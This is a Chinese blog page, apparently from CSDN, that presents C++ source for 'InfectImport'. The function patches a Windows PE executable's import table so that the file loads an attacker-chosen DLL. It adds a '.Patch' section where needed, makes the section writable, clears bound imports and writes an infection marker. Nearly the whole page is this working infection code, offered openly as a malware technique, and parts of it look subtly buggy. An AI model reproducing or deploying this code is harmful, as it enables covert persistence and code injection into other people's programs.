InfectImport

InfectImport 是一种高级恶意软件技术,通过感染系统动态链接库(DLL)来实现持久性和隐蔽性。该技术使得恶意代码能够在目标系统上运行时动态注入到合法进程中,从而逃避检测和分析。它涉及DLL注入、API hooking和进程混淆等多个方面,对网络安全构成了严重威胁。
摘要由CSDN通过智能技术生成
#include<Windows.h>
#include"Image.h"


#define INFECT_SIG ('PE')


BOOL InfectImport(
	IN char* szImageFilePath,
	IN char* szDllName,
	IN char* szDllExportFunName
)
{
	CImage Img;
	BOOL bResult = FALSE;
	DWORD dwIoCnt = 0;
	TCHAR szErrMsg[1024] = { 0 };
	PIMAGE_SECTION_HEADER pImpSecHeader, pNewSecHeader = NULL, pTargetSecHeader = NULL;
	DWORD dwOldIIDCnt = 0, dwNewIIDCnt = 0;
	DWORD dwOldIIDSize = 0, dwNewIIDSize = 0;
	DWORD dwVAToStoreNewIID = 0;//新IID数组的存储位置
	DWORD dwNewThunkDataSize = 0;//新IID项的ThunkData的大小
	DWORD dwNewThunkDataVA = 0;//新IID项的ThunkData的存储位置
	DWORD dwSizeNeed = 0;
	DWORD dwThunkDataOffsetByIID = 0;
	BOOL bUserNewSection = FALSE;//是否使用了新节
	BOOL bPlaceThunkDataToOldIID = TRUE;

	printf("[*] Path = %s\n", szImageFilePath);
	//以读写方式打开目标文件
	HANDLE hFile = CreateFileA(szImageFilePath,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL
		);
	//解析PE结构
	PBYTE pNotepad = Img.LoadImage(hFile, FALSE, 0, FALSE);
	printf("[*] pImageBase = 0x%p\n", pNotepad);
	if (pNotepad == NULL)
	{
		printf("[-] 加载PE文件失败! %s\n", Img.GetErrorMsg(szErrMsg, 1024));
		return FALSE;
	}

	//检查是否被感染过
	if (Img.m_pDosHeader->e_csum == INFECT_SIG)
	{
		printf("[-] 文件已经被感染过!\n");
		return FALSE;
	}
	printf("[*] 当前导入表信息 VA = 0x%p Size = 0x%X\n", Img.m_pImpDataDir->VirtualAddress, Img.m_pImpDataDir->Size);
	dwOldIIDSize = Img.m_pImpDataDir->Size;
	//导入表总字节数除以导入表大小等于导入表个数
	dwOldIIDCnt = Img.m_pImpDataDir->Size / sizeof(IMAGE_IMPORT_DESCRIPTOR);
	dwNewIIDCnt = dwOldIIDCnt + 1;
	//个数乘以表项大小得到表大小
	dwNewIIDSize = dwNewIIDCnt * sizeof(IMAGE_IMPORT_DESCRIPTOR);
	printf("[*] dwOldIIDCnt = %d  Size = 0x%X\n", dwOldIIDCnt, dwOldIIDSize);
	printf("[*] dwNewIIDCnt = %d  Size = 0x%X\n", dwNewIIDCnt, dwNewIIDSize);
	//所需大小是新导入表IID结构的大小
	dwSizeNeed = dwNewIIDSize;
	//得到目标文件导入表所在的节
	pImpSecHeader = Img.LocateSectionByRVA(Img.m_pImpDataDir->VirtualAddress);
	printf("[*] 导入表所在节 %s RawOffset = 0x%X Size=0x%X\n",
		pImpSecHeader->Name,
		pImpSecHeader->PointerToRawData,
		pImpSecHeader->SizeOfRawData);
	//得到节的物理空隙大小
	DWORD dwPaddingSize = Img.GetSectionPhysialPaddingSize(pImpSecHeader);
	
						/*DLL名称字符串大小 + 2个OriginalFirstThunk+2个FirstThunk+一个IMAGE_IMPORT_BY_NAME结构*/
	dwNewThunkDataSize = strlen(szDllName) + 1 + sizeof(IMAGE_THUNK_DATA) * 4 + sizeof(WORD) + strlen(szDllExportFunName) + 1;
	//大小对齐
	dwNewThunkDataSize = ALIGN_SIZE_UP(dwNewThunkDataSize, sizeof(ULONG));
	//判断原导入表位置能否写下新的ThunkData 注意:重要的是位置两个字(因为为了节省空间,可以在原导入表位置写入ThunkData,在节间隙或者扩展空间写入新的导入表)
	if (dwNewThunkDataSize > dwOldIIDSize)
	{
		//原IID位置写不下,那么在寻找节间隙的时候就要把要写入的ThunkData的大小也加上
		//按ULONG_PTR对齐之后再添加ThunkData,虽然不按这个对齐也可以
		//ThunkData数据相对于IID的偏移等于新IID对齐后的大小
		dwThunkDataOffsetByIID = ALIGN_SIZE_UP(dwNewIIDSize, sizeof(ULONG_PTR));
		dwSizeNeed = dwThunkDataOffsetByIID + dwNewThunkDataSize;
		//设置放不下的标志
		bPlaceThunkDataToOldIID = FALSE;
	}
	printf("[*] 放置新导入表数据所需要的大小 = 0x%X\n", dwSizeNeed);

	//如果导入表所在的节的物理间隙大于所需大小
	if (dwPaddingSize >= dwSizeNeed)
	{
		printf("[*] 节空隙可以放下新的导入表,不需添加新节!\n");
		//新添加的IID项的RVA
		dwVAToStoreNewIID = pImpSecHeader->VirtualAddress + Img.GetAlignedSize(pImpSecHeader->Misc.VirtualSize, sizeof(DWORD));
		pTargetSecHeader = pImpSecHeader;
	}
	else
	{
		printf("[-] 节空隙不能放下新的导入表,需要添加新节!\n");
		//根据所需的空间大小添加一个新节
		char NewSecName[] = ".Patch";
		//在文件中添加一个新区块,并返回新区块的区块表项
		pNewSecHeader = Img.AddNewSectionToFile(NewSecName, dwSizeNeed);
		printf("[*] 新节添加完毕!VA=0x%X RawOffset = 0x%X RawSize = 0x%X\n",
			pNewSecHeader->VirtualAddress,
			pNewSecHeader->PointerToRawData,
			pNewSecHeader->SizeOfRawData);
		//存储新IID的RVA(在新添加的区块里的第0个字节添加IID)
		dwVAToStoreNewIID = pNewSecHeader->VirtualAddress;
		//储存新的区块表项
		pTargetSecHeader = pNewSecHeader;
		bUserNewSection = TRUE;
	}

	//保存原导入表
	PIMAGE_IMPORT_DESCRIPTOR pOldImpDesp = Img.m_pImportDesp;
	//在堆中申请一块需要大小的内存
	PIMAGE_IMPORT_DESCRIPTOR pBuildNewImpDesp = (PIMAGE_IMPORT_DESCRIPTOR)malloc(dwSizeNeed);
	//清零
	ZeroMemory(pBuildNewImpDesp, dwSizeNeed);
	//保存原来的导入表部分到新申请的内存中
	memcpy(pBuildNewImpDesp, pOldImpDesp, dwOldIIDSize);
	printf("[*] 原导入表IID结构保存完毕.\n");
	//指向一个新添加的IID项,稍后填充
	PIMAGE_IMPORT_DESCRIPTOR pNewImpEntry = pBuildNewImpDesp + dwOldIIDCnt - 1;

	//需要注意的是,ThunkData在32位和64位下的长度是不一样的,所以这里定义为自适应的ULONG_PTR
	PIMAGE_THUNK_DATA pOriginalFirstThunk = NULL;
	//如果原来放置OldIID的地方能放得下新ThunkData数据
	if (bPlaceThunkDataToOldIID)
	{
		//使用原IID的位置存放Thunk数据
		//得到在新申请的内存中存放Thunk数据的首地址
		pOriginalFirstThunk = (PIMAGE_THUNK_DATA)((PBYTE)pBuildNewImpDesp + dwThunkDataOffsetByIID);
		//得到新ThunkData数据的RVA
		dwNewThunkDataVA = dwVAToStoreNewIID + dwThunkDataOffsetByIID;//在IID数据后面
	}
	ZeroMemory(pOriginalFirstThunk, dwNewThunkDataSize);
	//留出两项内容,第一项稍后填充,第二项填0作为结束标记
	PIMAGE_THUNK_DATA pFirstThunk = pOriginalFirstThunk + 2;
	//留出两项内容,第一项稍后填充,第二项填0作为结束标记,之后作为DLL名称
	PCHAR pDllName = (PCHAR)(pFirstThunk + 2);
	//保存dll名称
	strcpy(pDllName, szDllName);

	SIZE_T DllNameLen = strlen(szDllName);
	//给最后一项填0做结尾
	pDllName[DllNameLen] = 0;
	//接下来作为一个PIMAGE_BY_NAME结构
	PIMAGE_IMPORT_BY_NAME pImpName = (PIMAGE_IMPORT_BY_NAME)(pDllName + DllNameLen + 1);
	//填充它
	pImpName->Hint = 0;
	strcpy((char*)pImpName->Name, szDllExportFunName);
	printf("[*] 新导入表IID子结构完毕.\n");

	//计算结束位置
	PCHAR pEnd = (PCHAR)pImpName + sizeof(pImpName->Hint) + strlen((char*)pImpName) + 1;
	//计算总占用的空间大小
	DWORD dwNewIIDEntrySizeUsed = (DWORD)pEnd - (DWORD)pOriginalFirstThunk;
	printf("[*] 新IID成员占用的空间大小 = 0x%X\n", dwNewIIDEntrySizeUsed);

	//反过来填充OriginalFirstThunk和FirstThunk
	//根据定义,OriginalFirst应指向IMAGE_IMPORT_BY_NAME结构的偏移
	pOriginalFirstThunk[0].u1.AddressOfData = (dwNewThunkDataVA + ((PBYTE)pImpName - (PBYTE)pOriginalFirstThunk));
	//相同序号的FirstThunk和pOrignalFirstThunk指向同一个位置
	pFirstThunk[0].u1.AddressOfData = pOriginalFirstThunk[0].u1.AddressOfData;

	//最后填充新的IID项,计算各项的RVA
	pNewImpEntry->OriginalFirstThunk = dwNewThunkDataVA;
	pNewImpEntry->Name = dwNewThunkDataVA + sizeof(IMAGE_THUNK_DATA) * 4;
	pNewImpEntry->FirstThunk = dwNewThunkDataVA + sizeof(IMAGE_THUNK_DATA) * 2;
	printf("[*] 新IID填充完毕.\n");

	//更新PE头中的几个值
	//新的导入表大小
	Img.m_pImpDataDir->Size = dwNewIIDSize;
	//新的导入表IID的起始偏移
	Img.m_pImpDataDir->VirtualAddress = dwVAToStoreNewIID;
	//如果导入表的节的空隙可以放下新的IID,那么原大小加上新需要的大小就是给该节添加新IID表项之后
	//使用的实际大小了
	if (!bUserNewSection)
	{
		pImpSecHeader->Misc.VirtualSize += dwSizeNeed;
	}

	//如果ThunkData放在了原IID的位置。需要设置节为可写的
	//这里直接该为可写
	pImpSecHeader->Characteristics |= IMAGE_SCN_MEM_WRITE;
	//清空绑定输入表,强迫加载器重新加载IAT
	Img.m_pOptHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
	Img.m_pOptHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;

	//设置感染标记
	Img.m_pDosHeader->e_csum = INFECT_SIG;
	printf("[*] PE头更新完毕.\n");

	//写入文件
	printf("[*] 开始保存文件.\n");
	
	//开始保存内存中的修改内容到文件中
	//先写入新的PE头
	DWORD dwFileOffset = 0;
	ULONG_PTR dwVAInMemory = 0;
	SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
	bResult = WriteFile(hFile, Img.m_hModule, Img.m_pOptHeader->SizeOfHeaders, &dwIoCnt, NULL);
	if (!bResult)
	{
		Img.FormatErrorMsg(TEXT("[-] 写入文件失败!"), GetLastError());
		return FALSE;
	}
	printf("[*] PE头写入完毕. Offset = 0x%X Size = 0x%x\n", dwFileOffset, dwIoCnt);

	//写入新IID的子结构信息,位置在原导入表的开始处
	//得到新的ThunkData的内存偏移
	dwVAInMemory = dwNewThunkDataVA;
	//通过内存偏移得到新ThunkData的文件偏移
	dwFileOffset = Img.Rav2Raw(dwVAInMemory);
	//设置文件指针为ThunkData的偏移位置
	SetFilePointer(hFile, dwFileOffset, NULL, FILE_BEGIN);
	//向文件写入ThunkData
	bResult = WriteFile(hFile, pOriginalFirstThunk, dwNewIIDEntrySizeUsed, &dwIoCnt, NULL);
	if (!bResult)
	{
		Img.FormatErrorMsg(TEXT("[-] 写入文件失败!"), GetLastError());
		return FALSE;
	}
	printf("[*] 新IID项的子结构写入完毕. Offset = 0x%X Size = 0x%x\n", dwFileOffset, dwIoCnt);

	//写入新的IID结构
	//得到导入表的RVA
	dwVAInMemory = (ULONG_PTR)Img.m_pImpDataDir->VirtualAddress;
	//通过RVA得到文件偏移
	dwFileOffset = Img.Rav2Raw(dwVAInMemory);
	//设置文件指针
	SetFilePointer(hFile, dwFileOffset, NULL, FILE_BEGIN);
	//进行写入
	bResult = WriteFile(hFile, pBuildNewImpDesp, dwNewIIDSize, &dwIoCnt, NULL);

	if (!bResult)
	{
		Img.FormatErrorMsg(TEXT("[-] 写入文件失败!"), GetLastError());
		return FALSE;
	}
	printf("[*] 新导入表整体写入完毕. Offset = 0x%X Size = 0x%x\n", dwFileOffset, dwIoCnt);
	printf("[*] 导入表感染完毕.\n");

	return TRUE;
}

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值